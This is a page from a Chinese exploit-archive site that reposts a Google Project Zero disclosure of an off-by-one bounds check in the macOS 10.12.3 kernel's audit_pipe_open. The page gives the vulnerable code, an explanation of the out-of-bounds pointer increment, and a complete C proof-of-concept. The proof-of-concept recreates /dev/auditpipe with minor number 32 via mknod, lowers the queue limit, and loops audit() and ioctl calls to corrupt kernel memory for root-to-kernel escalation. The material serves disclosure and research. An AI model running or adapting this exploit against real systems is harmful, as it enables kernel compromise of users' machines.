首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
macOS Kernel 10.12.3 (16D32) - 'audit_pipe_open' Off-by-One Memory Corruption
来源:Google Security Research 作者:Google 发布时间:2017-04-05  
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1126
 
MacOS kernel memory corruption due to off-by-one in audit_pipe_open
 
audit_pipe_open is the special file open handler for the auditpipe device (major number 10.)
 
Here's the code:
 
  static int
  audit_pipe_open(dev_t dev, __unused int flags,  __unused int devtype,
      __unused proc_t p)
  {
    struct audit_pipe *ap;
    int u;
 
    u = minor(dev);
    if (u < 0 || u > MAX_AUDIT_PIPES)
      return (ENXIO);
 
    AUDIT_PIPE_LIST_WLOCK();
    ap = audit_pipe_dtab[u];
    if (ap == NULL) {
      ap = audit_pipe_alloc();
      if (ap == NULL) {
        AUDIT_PIPE_LIST_WUNLOCK();
        return (ENOMEM);
      }
      audit_pipe_dtab[u] = ap;
 
 
We can control the minor number via mknod. Here's the definition of audit_pipe_dtab:
 
  static struct audit_pipe  *audit_pipe_dtab[MAX_AUDIT_PIPES];
 
There's an off-by-one in the minor number bounds check
 (u < 0 || u > MAX_AUDIT_PIPES)
should be
 (u < 0 || u >= MAX_AUDIT_PIPES)
 
The other special file operation handlers assume that the minor number of an opened device
is correct therefore it isn't validated for example in the ioctl handler:
 
  static int
  audit_pipe_ioctl(dev_t dev, u_long cmd, caddr_t data,
      __unused int flag, __unused proc_t p)
  {
    ...
    ap = audit_pipe_dtab[minor(dev)];
    KASSERT(ap != NULL, ("audit_pipe_ioctl: ap == NULL"));
    ...
    switch (cmd) {
    case FIONBIO:
      AUDIT_PIPE_LOCK(ap);
      if (*(int *)data)
 
Directly after the audit_pipe_dtab array in the bss is this global variable:
 
  static u_int64_t  audit_pipe_drops;
 
audit_pipe_drops will be incremented each time an audit message enqueue fails:
 
  if (ap->ap_qlen >= ap->ap_qlimit) {
    ap->ap_drops++;
    audit_pipe_drops++;
    return;
  }
 
So by setting a small ap_qlimit via the AUDITPIPE_SET_QLIMIT ioctl we can increment the
struct audit_pipe* which is read out-of-bounds.
 
For this PoC I mknod a /dev/auditpipe with the minor number 32, create a new log file
and enable auditing. I then set the QLIMIT to 1 and alternately enqueue a new audit record
and call and ioctl. Each time the enqueue fails it will increment the struct audit_pipe*
then the ioctl will try to use that pointer.
 
This is a root to kernel privesc.
 
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
*/
 
//ianbeer
#if 0
MacOS kernel memory corruption due to off-by-one in audit_pipe_open
 
audit_pipe_open is the special file open handler for the auditpipe device (major number 10.)
 
Here's the code:
 
    static int
    audit_pipe_open(dev_t dev, __unused int flags,  __unused int devtype,
            __unused proc_t p)
    {
        struct audit_pipe *ap;
        int u;
 
        u = minor(dev);
        if (u < 0 || u > MAX_AUDIT_PIPES)
            return (ENXIO);
 
        AUDIT_PIPE_LIST_WLOCK();
        ap = audit_pipe_dtab[u];
        if (ap == NULL) {
            ap = audit_pipe_alloc();
            if (ap == NULL) {
                AUDIT_PIPE_LIST_WUNLOCK();
                return (ENOMEM);
            }
            audit_pipe_dtab[u] = ap;
 
 
We can control the minor number via mknod. Here's the definition of audit_pipe_dtab:
 
    static struct audit_pipe    *audit_pipe_dtab[MAX_AUDIT_PIPES];
 
There's an off-by-one in the minor number bounds check
 (u < 0 || u > MAX_AUDIT_PIPES)
should be
 (u < 0 || u >= MAX_AUDIT_PIPES)
 
The other special file operation handlers assume that the minor number of an opened device
is correct therefore it isn't validated for example in the ioctl handler:
 
    static int
    audit_pipe_ioctl(dev_t dev, u_long cmd, caddr_t data,
            __unused int flag, __unused proc_t p)
    {
        ...
        ap = audit_pipe_dtab[minor(dev)];
        KASSERT(ap != NULL, ("audit_pipe_ioctl: ap == NULL"));
        ...
        switch (cmd) {
        case FIONBIO:
            AUDIT_PIPE_LOCK(ap);
            if (*(int *)data)
 
Directly after the audit_pipe_dtab array in the bss is this global variable:
 
    static u_int64_t    audit_pipe_drops;
 
audit_pipe_drops will be incremented each time an audit message enqueue fails:
 
    if (ap->ap_qlen >= ap->ap_qlimit) {
        ap->ap_drops++;
        audit_pipe_drops++;
        return;
    }
 
So by setting a small ap_qlimit via the AUDITPIPE_SET_QLIMIT ioctl we can increment the
struct audit_pipe* which is read out-of-bounds.
 
For this PoC I mknod a /dev/auditpipe with the minor number 32, create a new log file
and enable auditing. I then set the QLIMIT to 1 and alternately enqueue a new audit record
and call and ioctl. Each time the enqueue fails it will increment the struct audit_pipe*
then the ioctl will try to use that pointer.
 
This is a root to kernel privesc.
 
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <net/bpf.h>
#include <net/if.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <bsm/audit.h>
#include <security/audit/audit_ioctl.h>
 
int main(int argc, char** argv) {
  system("rm -rf /dev/auditpipe");
  system("mknod /dev/auditpipe c 10 32");
 
  int fd = open("/dev/auditpipe", O_RDWR);
 
  if (fd == -1) {
    perror("failed to open auditpipe device\n");
    exit(EXIT_FAILURE);
  }
  printf("opened device\n");
 
  system("touch a_log_file");
  int auditerr = auditctl("a_log_file");
  if (auditerr == -1) {
    perror("failed to set a new log file\n");
  }
 
  uint32_t qlim = 1;
  int err = ioctl(fd, AUDITPIPE_SET_QLIMIT, &qlim);
  if (err == -1) {
    perror("AUDITPIPE_SET_QLIMIT");
    exit(EXIT_FAILURE);
  }
 
  while(1) {
    char* audit_data = "\x74hello";
    int audit_len = strlen(audit_data)+1;
    audit(audit_data, audit_len);
    uint32_t nread = 0;
    int err = ioctl(fd, FIONREAD, &qlim);
    if (err == -1) {
      perror("FIONREAD");
      exit(EXIT_FAILURE);
    }
  }
 
  return 0;
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·macOS/iOS Kernel 10.12.3 (16D3
·macOS Kernel 10.12.2 (16C67) -
·macOS/iOS Kernel 10.12.3 (16D3
·macOS/iOS Kernel 10.12.3 (16D3
·macOS/iOS Kernel 10.12.3 (16D3
·Apple WebKit 10.0.2(12602.3.12
·macOS/iOS Kernel 10.12.3 (16D3
·Apple Webkit - 'JSCallbackData
·macOS Kernel 10.12.3 (16D32) -
·Apple Webkit - Universal Cross
·macOS Kernel 10.12.2 (16C67) -
·Apple WebKit 10.0.2(12602.3.12
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved